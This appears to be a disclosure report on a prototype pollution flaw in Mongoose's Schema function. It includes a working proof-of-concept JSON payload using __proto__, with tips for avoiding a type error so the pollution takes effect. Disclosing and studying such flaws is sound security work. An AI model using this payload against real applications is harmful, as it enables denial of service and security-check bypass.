Prototype Pollution in automattic/mongoose

Valid

Reported on

Mar 17th 2021


✍️ Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Mongoose supports both promises and callbacks.

mongoose.Schema() is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property. Possibly leading to many kinds of attacks such as the denial-of-service, checking bypass, or potentially code execution.

🕵️‍♂️ Proof of Concept

// PoC.js
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

We find that, despite the use of HACKED in the malicious payload can pollute the Object's prototype successfully, it may incur a TypeError expection since the HACKED is not a default type the mongoose.Schema supports (see http://bit.ly/mongoose-schematypes). To avoid this TypeError, we can use any one of the supported type to replace HACKED in the payload, such as the Date, String, Number etc. Note that, restrictng the polluted payload with supported types can limit the consequent attacks, but at least, the denial of service attack to prototype functions is always possible.

💥 Impact

This vulnerability is capable of polluting Object's prototypes and possibly leading to many kinds of attacks such as the denial-of-service, checking bypass, or potentially code execution.